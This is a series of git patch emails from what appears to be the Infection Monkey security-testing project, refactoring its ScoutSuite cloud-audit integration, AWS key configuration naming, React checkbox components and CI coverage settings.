2 +- .../rule_path_creators/elbv2_rule_path_creator.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py index ac5209b45..a31c83d3e 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py @@ -16,7 +16,7 @@ class SERVICE_TYPES(Enum): EFS = 'efs' ELASTICACHE = 'elasticache' ELB = 'elb' - ELBv2 = 'elbv2' + ELB_V2 = 'elbv2' EMR = 'emr' IAM = 'iam' KMS = 'kms' diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py index b268a5a58..2472bf076 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py @@ -6,5 +6,5 @@ from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_buil class ELBv2RulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.ELBv2 + service_type = SERVICE_TYPES.ELB_V2 supported_rules = ELBv2Rules From 761ed2ec43e94eba1bbd76d16cf923855f5f7329 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 14 Jan 2021 12:17:34 +0200 Subject: [PATCH 116/466] Refactored code of rule ordering --- .../scoutsuite/rule-parsing/ParsingUtils.js | 21 +++++++------------ 1 file changed, 7 insertions(+), 14 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/rule-parsing/ParsingUtils.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/rule-parsing/ParsingUtils.js index 5070797ab..da1417d1b 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/rule-parsing/ParsingUtils.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/rule-parsing/ParsingUtils.js @@ -29,19 +29,12 @@ function compareRules(firstRule, secondRule) { } function compareRuleStatuses(ruleStatusOne, ruleStatusTwo) { - if (ruleStatusOne === ruleStatusTwo) { - return 0; - } else if (ruleStatusOne === STATUSES.STATUS_FAILED) { - return -1; - } else if (ruleStatusTwo === STATUSES.STATUS_FAILED) { - return 1; - } else if (ruleStatusOne === STATUSES.STATUS_VERIFY) { - return -1; - } else if (ruleStatusTwo === STATUSES.STATUS_VERIFY) { - return 1; - } else if (ruleStatusOne === STATUSES.STATUS_PASSED) { - return -1; - } else if (ruleStatusTwo === STATUSES.STATUS_PASSED) { - return 1; + const severity_order = { + [STATUSES.STATUS_FAILED]: 1, + [STATUSES.STATUS_VERIFY]: 2, + [STATUSES.STATUS_PASSED]: 3, + [STATUSES.STATUS_UNEXECUTED]: 4 } + + return severity_order[ruleStatusOne] - severity_order[ruleStatusTwo] } From 8d024b900248d94cee76ec79f0dd66befeb7efbf Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 14 Jan 2021 08:37:52 -0500 Subject: [PATCH 117/466] ui: separate MasterCheckbox and ChildCheckbox into their own files --- .../ui-components/AdvancedMultiSelect.js | 65 ++----------------- .../components/ui-components/ChildCheckbox.js | 30 +++++++++ .../ui-components/MasterCheckbox.js | 41 ++++++++++++ 3 files changed, 76 insertions(+), 60 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/ui-components/ChildCheckbox.js create mode 100644 monkey/monkey_island/cc/ui/src/components/ui-components/MasterCheckbox.js diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js index 5dca8e86e..9d82a1b8d 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js @@ -1,20 +1,13 @@ -import React from "react"; -import {Card, Button, Form} from 'react-bootstrap'; -import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; -import {faCheckSquare} from '@fortawesome/free-solid-svg-icons'; -import {faMinusSquare} from '@fortawesome/free-solid-svg-icons'; -import {faSquare} from '@fortawesome/free-regular-svg-icons'; +import React from 'react'; +import {Form} from 'react-bootstrap'; + import {cloneDeep} from 'lodash'; import {getComponentHeight} from './utils/HeightCalculator'; import {resolveObjectPath} from './utils/ObjectPathResolver'; import InfoPane from './InfoPane'; - -const MasterCheckboxState = { - NONE: 0, - MIXED: 1, - ALL: 2 -} +import {MasterCheckbox, MasterCheckboxState} from './MasterCheckbox'; +import ChildCheckbox from './ChildCheckbox'; function getFullDefinitionByKey(refString, registry, itemKey) { let fullArray = getFullDefinitionsFromRegistry(refString, registry); @@ -143,52 +136,4 @@ class AdvancedMultiSelect extends React.Component { } } -function MasterCheckbox(props) { - const { - title, - disabled, - onClick, - checkboxState - } = props; - - let newCheckboxIcon = faCheckSquare; - - if (checkboxState === MasterCheckboxState.NONE) { - newCheckboxIcon = faSquare; - } else if (checkboxState === MasterCheckboxState.MIXED) { - newCheckboxIcon = faMinusSquare; - } - - return ( - - - {title} - - ); -} - -function ChildCheckbox(props) { - const { - onPaneClick, - onClick, - value, - disabled, - label, - checkboxState - } = props; - - return ( - onPaneClick(value)}> - - - {label} - - - ); -} - export default AdvancedMultiSelect; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/ChildCheckbox.js b/monkey/monkey_island/cc/ui/src/components/ui-components/ChildCheckbox.js new file mode 100644 index 000000000..353da4b22 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/ChildCheckbox.js @@ -0,0 +1,30 @@ +import React from 'react'; +import {Button, Form} from 'react-bootstrap'; + +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; +import {faCheckSquare} from '@fortawesome/free-solid-svg-icons'; +import {faSquare} from '@fortawesome/free-regular-svg-icons'; + +function ChildCheckbox(props) { + const { + onPaneClick, + onClick, + value, + disabled, + label, + checkboxState + } = props; + + return ( + onPaneClick(value)}> + + + {label} + + + ); +} + +export default ChildCheckbox; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/MasterCheckbox.js b/monkey/monkey_island/cc/ui/src/components/ui-components/MasterCheckbox.js new file mode 100644 index 000000000..0485e64eb --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/MasterCheckbox.js @@ -0,0 +1,41 @@ +import React from 'react'; +import {Card, Button} from 'react-bootstrap'; + +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; +import {faCheckSquare} from '@fortawesome/free-solid-svg-icons'; +import {faMinusSquare} from '@fortawesome/free-solid-svg-icons'; +import {faSquare} from '@fortawesome/free-regular-svg-icons'; + +const MasterCheckboxState = { + NONE: 0, + MIXED: 1, + ALL: 2 +} + +function MasterCheckbox(props) { + const { + title, + disabled, + onClick, + checkboxState + } = props; + + let newCheckboxIcon = faCheckSquare; + + if (checkboxState === MasterCheckboxState.NONE) { + newCheckboxIcon = faSquare; + } else if (checkboxState === MasterCheckboxState.MIXED) { + newCheckboxIcon = faMinusSquare; + } + + return ( + + + {title} + + ); +} + +export {MasterCheckboxState, MasterCheckbox}; From 11ea5e1a7eb536628bbd6521ddc8cfc336df7d4d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 14 Jan 2021 08:44:19 -0500 Subject: [PATCH 118/466] ui: separate json schema-related functions into JsonSchemaHelpers.js --- .../ui-components/AdvancedMultiSelect.js | 23 +----------------- .../ui-components/JsonSchemaHelpers.js | 24 +++++++++++++++++++ 2 files changed, 25 insertions(+), 22 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/ui-components/JsonSchemaHelpers.js diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js index 9d82a1b8d..efd516813 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js @@ -4,31 +4,10 @@ import {Form} from 'react-bootstrap'; import {cloneDeep} from 'lodash'; import {getComponentHeight} from './utils/HeightCalculator'; -import {resolveObjectPath} from './utils/ObjectPathResolver'; import InfoPane from './InfoPane'; import {MasterCheckbox, MasterCheckboxState} from './MasterCheckbox'; import ChildCheckbox from './ChildCheckbox'; - -function getFullDefinitionByKey(refString, registry, itemKey) { - let fullArray = getFullDefinitionsFromRegistry(refString, registry); - return fullArray.filter(e => (e.enum[0] === itemKey))[0]; -} - -// Definitions passed to components only contains value and label, -// custom fields like "info" or "links" must be pulled from registry object using this function -function getFullDefinitionsFromRegistry(refString, registry) { - return getObjectFromRegistryByRef(refString, registry).anyOf; -} - -function getObjectFromRegistryByRef(refString, registry) { - let refArray = refString.replace('#', '').split('/'); - return resolveObjectPath(refArray, registry); -} - -function getDefaultPaneParams(refString, registry) { - let configSection = getObjectFromRegistryByRef(refString, registry); - return ({title: configSection.title, content: configSection.description}); -} +import {getFullDefinitionByKey, getDefaultPaneParams} from './JsonSchemaHelpers.js'; class AdvancedMultiSelect extends React.Component { constructor(props) { diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/JsonSchemaHelpers.js b/monkey/monkey_island/cc/ui/src/components/ui-components/JsonSchemaHelpers.js new file mode 100644 index 000000000..06eed4aed --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/JsonSchemaHelpers.js @@ -0,0 +1,24 @@ +import {resolveObjectPath} from './utils/ObjectPathResolver'; + +function getFullDefinitionByKey(refString, registry, itemKey) { + let fullArray = getFullDefinitionsFromRegistry(refString, registry); + return fullArray.filter(e => (e.enum[0] === itemKey))[0]; +} + +// Definitions passed to components only contains value and label, +// custom fields like "info" or "links" must be pulled from registry object using this function +function getFullDefinitionsFromRegistry(refString, registry) { + return getObjectFromRegistryByRef(refString, registry).anyOf; +} + +function getObjectFromRegistryByRef(refString, registry) { + let refArray = refString.replace('#', '').split('/'); + return resolveObjectPath(refArray, registry); +} + +function getDefaultPaneParams(refString, registry) { + let configSection = getObjectFromRegistryByRef(refString, registry); + return ({title: configSection.title, content: configSection.description}); +} + +export {getFullDefinitionByKey, getDefaultPaneParams}; From 22194c566acec0f1d545d46055ec358596921dad Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 14 Jan 2021 13:01:25 +0200 Subject: [PATCH 119/466] Refactored aws access keys in config, added them to encrypted parameter list and added ScoutSuite specific exception --- monkey/common/utils/exceptions.py | 4 ++++ monkey/infection_monkey/config.py | 9 +++++---- .../scoutsuite_collector/scoutsuite_collector.py | 11 ++++++----- monkey/monkey_island/cc/services/config.py | 6 +++--- .../cc/services/config_schema/internal.py | 6 +++--- .../scoutsuite/scoutsuite_auth_service.py | 16 ++++++++-------- 6 files changed, 29 insertions(+), 23 deletions(-) diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py index 27d128e88..b1811ab88 100644 --- a/monkey/common/utils/exceptions.py +++ b/monkey/common/utils/exceptions.py @@ -32,3 +32,7 @@ class InvalidAWSKeys(Exception): class NoInternetError(Exception): """ Raise to indicate problems caused when no internet connection is present""" + + +class ScoutSuiteScanError(Exception): + """ Raise to indicate problems ScoutSuite encountered during scanning""" diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index add35e39e..018f3aacc 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -11,7 +11,8 @@ GUID = str(uuid.getnode()) EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin') -SENSITIVE_FIELDS = ["exploit_password_list", "exploit_user_list", "exploit_ssh_keys"] +SENSITIVE_FIELDS = ["exploit_password_list", "exploit_user_list", "exploit_ssh_keys", "aws_secret_access_key", + "aws_session_token"] LOCAL_CONFIG_VARS = ["name", "id", "current_server", "max_depth"] HIDDEN_FIELD_REPLACEMENT_CONTENT = "hidden" @@ -245,9 +246,9 @@ class Configuration(object): exploit_ntlm_hash_list = [] exploit_ssh_keys = [] - access_key_id = '' - secret_access_key = '' - session_token = '' + aws_access_key_id = '' + aws_secret_access_key = '' + aws_session_token = '' # smb/wmi exploiter smb_download_timeout = 300 # timeout in seconds diff --git a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py index acf63104a..25b0ea833 100644 --- a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py +++ b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py @@ -2,6 +2,7 @@ import logging import infection_monkey.system_info.collectors.scoutsuite_collector.scoutsuite_api as scoutsuite_api from common.cloud.scoutsuite_consts import CloudProviders +from common.utils.exceptions import ScoutSuiteScanError from infection_monkey.config import WormConfiguration from infection_monkey.telemetry.scoutsuite_telem import ScoutSuiteTelem @@ -12,17 +13,17 @@ def scan_cloud_security(cloud_type: CloudProviders): try: results = run_scoutsuite(cloud_type.value) if isinstance(results, dict) and 'error' in results and results['error']: - raise Exception(results['error']) + raise ScoutSuiteScanError(results['error']) send_results(results) - except Exception as e: + except (Exception, ScoutSuiteScanError) as e: logger.error(f"ScoutSuite didn't scan {cloud_type.value} security because: {e}") def run_scoutsuite(cloud_type: str): return scoutsuite_api.run(provider=cloud_type, - aws_access_key_id=WormConfiguration.access_key_id, - aws_secret_access_key=WormConfiguration.secret_access_key, - aws_session_token=WormConfiguration.session_token) + aws_access_key_id=WormConfiguration.aws_access_key_id, + aws_secret_access_key=WormConfiguration.aws_secret_access_key, + aws_session_token=WormConfiguration.aws_session_token) def send_results(results): diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 9b2f0ba9b..b4370a63b 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -28,9 +28,9 @@ ENCRYPTED_CONFIG_VALUES = \ LM_HASH_LIST_PATH, NTLM_HASH_LIST_PATH, SSH_KEYS_PATH, - AWS_KEYS_PATH + ['access_key_id'], - AWS_KEYS_PATH + ['secret_access_key'], - AWS_KEYS_PATH + ['session_token'] + AWS_KEYS_PATH + ['aws_access_key_id'], + AWS_KEYS_PATH + ['aws_secret_access_key'], + AWS_KEYS_PATH + ['aws_session_token'] ] diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index b571d31ab..156dae7ad 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -98,15 +98,15 @@ INTERNAL = { "aws_keys": { "type": "object", "properties": { - "access_key_id": { + "aws_access_key_id": { "type": "string", "default": "" }, - "secret_access_key": { + "aws_secret_access_key": { "type": "string", "default": "" }, - "session_token": { + "aws_session_token": { "type": "string", "default": "" } diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py index 308a6e967..e9a965a69 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py @@ -35,16 +35,16 @@ def is_cloud_authentication_setup(provider: CloudProviders) -> Tuple[bool, str]: def is_aws_keys_setup(): - return (ConfigService.get_config_value(AWS_KEYS_PATH + ['access_key_id']) and - ConfigService.get_config_value(AWS_KEYS_PATH + ['secret_access_key'])) + return (ConfigService.get_config_value(AWS_KEYS_PATH + ['aws_access_key_id']) and + ConfigService.get_config_value(AWS_KEYS_PATH + ['aws_secret_access_key'])) def set_aws_keys(access_key_id: str, secret_access_key: str, session_token: str): if not access_key_id or not secret_access_key: raise InvalidAWSKeys("Missing some of the following fields: access key ID, secret access key.") - _set_aws_key('access_key_id', access_key_id) - _set_aws_key('secret_access_key', secret_access_key) - _set_aws_key('session_token', session_token) + _set_aws_key('aws_access_key_id', access_key_id) + _set_aws_key('aws_secret_access_key', secret_access_key) + _set_aws_key('aws_session_token', session_token) def _set_aws_key(key_type: str, key_value: str): @@ -54,9 +54,9 @@ def _set_aws_key(key_type: str, key_value: str): def get_aws_keys(): - return {'access_key_id': _get_aws_key('access_key_id'), - 'secret_access_key': _get_aws_key('secret_access_key'), - 'session_token': _get_aws_key('session_token')} + return {'access_key_id': _get_aws_key('aws_access_key_id'), + 'secret_access_key': _get_aws_key('aws_secret_access_key'), + 'session_token': _get_aws_key('aws_session_token')} def _get_aws_key(key_type: str): From de69d167ba33594fb95cef6d79b4fd10d029d6b8 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 14 Jan 2021 16:05:52 +0200 Subject: [PATCH 120/466] Minor scoutsuite code refactorings --- .../telemetry/scoutsuite_telem.py | 2 +- .../services/zero_trust/scoutsuite/__init__.py | 13 +++++++++++++ .../scoutsuite/scoutsuite_auth_service.py | 17 +++-------------- .../AWSConfiguration/AWSKeySetup.js | 9 ++++++--- .../src/components/ui-components/ImageModal.js | 2 +- 5 files changed, 24 insertions(+), 19 deletions(-) create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/__init__.py diff --git a/monkey/infection_monkey/telemetry/scoutsuite_telem.py b/monkey/infection_monkey/telemetry/scoutsuite_telem.py index 7c3f94653..816042d7c 100644 --- a/monkey/infection_monkey/telemetry/scoutsuite_telem.py +++ b/monkey/infection_monkey/telemetry/scoutsuite_telem.py @@ -8,7 +8,7 @@ class ScoutSuiteTelem(BaseTelem): def __init__(self, data): """ Default ScoutSuite telemetry constructor - :param data: Data gathered via ScoutSuite ( + :param data: Data gathered via ScoutSuite """ super().__init__() self.data = data diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/__init__.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/__init__.py new file mode 100644 index 000000000..e8a36338b --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/__init__.py @@ -0,0 +1,13 @@ +import pkgutil +import sys +from pathlib import PurePath + +_scoutsuite_api_package = pkgutil.get_loader('common.cloud.scoutsuite.ScoutSuite.__main__') + + +def _add_scoutsuite_to_python_path(): + scoutsuite_path = PurePath(_scoutsuite_api_package.path).parent.parent.__str__() + sys.path.append(scoutsuite_path) + + +_add_scoutsuite_to_python_path() diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py index e9a965a69..eb0d5dfbd 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py @@ -1,24 +1,13 @@ -import pkgutil -import sys -from pathlib import PurePath from typing import Tuple +from ScoutSuite.providers.base.authentication_strategy import AuthenticationException + from common.cloud.scoutsuite_consts import CloudProviders from common.utils.exceptions import InvalidAWSKeys from monkey_island.cc.server_utils.encryptor import encryptor from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.config_schema.config_value_paths import AWS_KEYS_PATH -_scoutsuite_api_package = pkgutil.get_loader('common.cloud.scoutsuite.ScoutSuite.__main__') - - -def _add_scoutsuite_to_python_path(): - scoutsuite_path = PurePath(_scoutsuite_api_package.path).parent.parent.__str__() - sys.path.append(scoutsuite_path) - - -_add_scoutsuite_to_python_path() - def is_cloud_authentication_setup(provider: CloudProviders) -> Tuple[bool, str]: if provider == CloudProviders.AWS.value: @@ -30,7 +19,7 @@ def is_cloud_authentication_setup(provider: CloudProviders) -> Tuple[bool, str]: profile = auth_strategy.AWSAuthenticationStrategy().authenticate() return True, f" Profile \"{profile.session.profile_name}\" is already setup. " \ f"Run Monkey on Island to start the scan." - except Exception: + except AuthenticationException: return False, "" diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSKeySetup.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSKeySetup.js index 05ae86f89..04a1f490b 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSKeySetup.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSKeySetup.js @@ -56,6 +56,8 @@ const getContents = (props) => { .then(res => { if (res['error_msg'] === '') { setSuccessMessage('AWS keys saved!'); + } else if (res['message'] === 'Internal Server Error') { + setErrorMessage('Something went wrong, double check keys and contact support if problem persists.'); } else { setErrorMessage(res['error_msg']); } @@ -79,11 +81,12 @@ const getContents = (props) => {
Tips

Consider creating a new user account just for this activity. Assign only ReadOnlyAccess and  - SecurityAudit policies.

+ SecurityAudit policies.

Keys for custom user

1. Open the IAM console at https://console.aws.amazon.com/iam/.

+ target={'_blank'} + rel="noopener noreferrer">https://console.aws.amazon.com/iam/.

2. In the navigation pane, choose Users.

3. Choose the name of the user whose access keys you want to create, and then choose the Security credentials tab.

@@ -157,7 +160,7 @@ const getContents = (props) => { { successMessage ?
{successMessage}  - Go back and  + Go back and  to start AWS scan!
: diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/ImageModal.js b/monkey/monkey_island/cc/ui/src/components/ui-components/ImageModal.js index 12632e811..bd012944b 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/ImageModal.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/ImageModal.js @@ -29,5 +29,5 @@ const ImageModal = (props) => { export default ImageModal; ImageModal.propTypes = { - image: PropTypes.element + image: PropTypes.string } From d9b25978a047f90fd8d6bcba6b9a31233517c790 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 14 Jan 2021 09:09:00 -0500 Subject: [PATCH 121/466] Fix codecov.io integration See https://docs.codecov.io/docs/fixing-paths for more details --- codecov.yml | 2 ++ 1 file changed, 2 insertions(+) create mode 100644 codecov.yml diff --git a/codecov.yml b/codecov.yml new file mode 100644 index 000000000..190044367 --- /dev/null +++ b/codecov.yml @@ -0,0 +1,2 @@ +fixes: + - "::monkey/" From 74933daf8da4f79e4eb8cbce77e59d7fb99b2936 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 14 Jan 2021 14:00:28 -0500 Subject: [PATCH 122/466] ci: Use pytest-cov instead of coverage For some unknown reason, running `coverage` omits some python files from the coverage report. It also runs the test suite a second time, which is inefficient. By using pytest-cov, tests are only run once and coverage data is more complete. --- .travis.yml | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/.travis.yml b/.travis.yml index ca03d20b1..26482dcd5 100644 --- a/.travis.yml +++ b/.travis.yml @@ -24,7 +24,7 @@ install: # Python - pip freeze - pip install -r monkey/monkey_island/requirements.txt # for unit tests -- pip install flake8 pytest dlint isort # for next stages +- pip install flake8 pytest pytest-cov dlint isort # for next stages - pip install coverage # for code coverage - pip install -r monkey/infection_monkey/requirements.txt # for unit tests - pip install pipdeptree @@ -75,12 +75,9 @@ script: ## Check import order - python -m isort ./monkey --settings-file ./ci_scripts/isort.cfg -## Run unit tests +## Run unit tests and generate coverage data - cd monkey # This is our source dir -- python -m pytest # Have to use `python -m pytest` instead of `pytest` to add "{$builddir}/monkey/monkey" to sys.path. - -## Calculate Code Coverage -- coverage run -m pytest +- python -m pytest --cov=. # Have to use `python -m pytest` instead of `pytest` to add "{$builddir}/monkey/monkey" to sys.path. # Check JS code. The npm install must happen AFTER the flake8 because the node_modules folder will cause a lot of errors. - cd monkey_island/cc/ui From e79290e76170168b7153de247dfd9a0dabb5b77a Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 15 Jan 2021 11:20:57 +0200 Subject: [PATCH 123/466] Refactored scoutsuite rule button from "ScoutSuite rules" to just "Rules" to look more consistent with "Events" button --- .../src/components/report-components/zerotrust/FindingsTable.js | 2 +- .../zerotrust/scoutsuite/ScoutSuiteRuleButton.js | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js index d7a86c9f9..efd5a6ac4 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js @@ -6,7 +6,7 @@ import PillarLabel from './PillarLabel'; import EventsButton from './EventsButton'; import ScoutSuiteRuleButton from './scoutsuite/ScoutSuiteRuleButton'; -const EVENTS_COLUMN_MAX_WIDTH = 250; +const EVENTS_COLUMN_MAX_WIDTH = 180; const PILLARS_COLUMN_MAX_WIDTH = 260; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleButton.js index c22c54a96..316f2f90b 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleButton.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteRuleButton.js @@ -27,7 +27,7 @@ export default class ScoutSuiteRuleButton extends Component { hideCallback={this.toggleModal} />
From 85f4c4f2506c64d6e3602b442dedc299eac97988 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 15 Jan 2021 11:22:40 +0200 Subject: [PATCH 124/466] Small ScoutSuite feature code style refactorings --- monkey/common/utils/exceptions.py | 4 ++++ .../cc/services/zero_trust/finding_service.py | 8 +++++--- .../cc/services/zero_trust/monkey_details_service.py | 2 +- 3 files changed, 10 insertions(+), 4 deletions(-) diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py index b1811ab88..333db5d60 100644 --- a/monkey/common/utils/exceptions.py +++ b/monkey/common/utils/exceptions.py @@ -36,3 +36,7 @@ class NoInternetError(Exception): class ScoutSuiteScanError(Exception): """ Raise to indicate problems ScoutSuite encountered during scanning""" + + +class UnknownFindingError(Exception): + """ Raise when provided finding is of unknown type""" diff --git a/monkey/monkey_island/cc/services/zero_trust/finding_service.py b/monkey/monkey_island/cc/services/zero_trust/finding_service.py index 618be9550..02459eb0e 100644 --- a/monkey/monkey_island/cc/services/zero_trust/finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/finding_service.py @@ -1,6 +1,7 @@ from typing import List from common.common_consts import zero_trust_consts +from common.utils.exceptions import UnknownFindingError from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.services.zero_trust.monkey_details_service import MonkeyDetailsService @@ -10,19 +11,20 @@ class FindingService: @staticmethod def get_all_findings() -> List[Finding]: findings = list(Finding.objects) - details = [] for i in range(len(findings)): if findings[i].finding_type == zero_trust_consts.MONKEY_FINDING: details = MonkeyDetailsService.fetch_details_for_display(findings[i].details.id) elif findings[i].finding_type == zero_trust_consts.SCOUTSUITE_FINDING: details = findings[i].details.fetch().to_mongo() + else: + raise UnknownFindingError(f"Unknown finding type {findings[i].finding_type}") findings[i] = findings[i].to_mongo() - findings[i] = FindingService.get_enriched_finding(findings[i]) + findings[i] = FindingService._get_enriched_finding(findings[i]) findings[i]['details'] = details return findings @staticmethod - def get_enriched_finding(finding): + def _get_enriched_finding(finding): test_info = zero_trust_consts.TESTS_MAP[finding['test']] enriched_finding = { 'finding_id': str(finding['_id']), diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_details_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_details_service.py index 623285ddd..5332ed90b 100644 --- a/monkey/monkey_island/cc/services/zero_trust/monkey_details_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_details_service.py @@ -12,7 +12,7 @@ EVENT_FETCH_CNT = 50 class MonkeyDetailsService: @staticmethod - def fetch_details_for_display(finding_id: ObjectId): + def fetch_details_for_display(finding_id: ObjectId) -> dict: pipeline = [{'$match': {'_id': finding_id}}, {'$addFields': {'oldest_events': {'$slice': ['$events', EVENT_FETCH_CNT]}, 'latest_events': {'$slice': ['$events', -1 * EVENT_FETCH_CNT]}, From 02a45c7449c0ee92b807c49804f9965a2447b333 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 15 Jan 2021 15:08:49 +0200 Subject: [PATCH 125/466] Moved and renamed some services to improve directory structure of zero trust services --- .../cc/models/zero_trust/scoutsuite_rule.py | 2 +- .../zero_trust/test_aggregate_finding.py | 10 +++--- .../cc/resources/zero_trust/finding_event.py | 4 +-- .../zero_trust/scoutsuite_auth/aws_keys.py | 2 +- .../scoutsuite_auth/scoutsuite_auth.py | 4 +-- .../telemetry/processing/scoutsuite.py | 10 +++--- .../zero_trust_checks/antivirus_existence.py | 6 ++-- .../communicate_as_new_user.py | 9 ++--- .../zero_trust_checks/data_endpoints.py | 12 +++---- .../zero_trust_checks/machine_exploited.py | 8 ++--- .../zero_trust_checks/segmentation.py | 6 ++-- .../zero_trust_checks/test_segmentation.py | 4 +-- 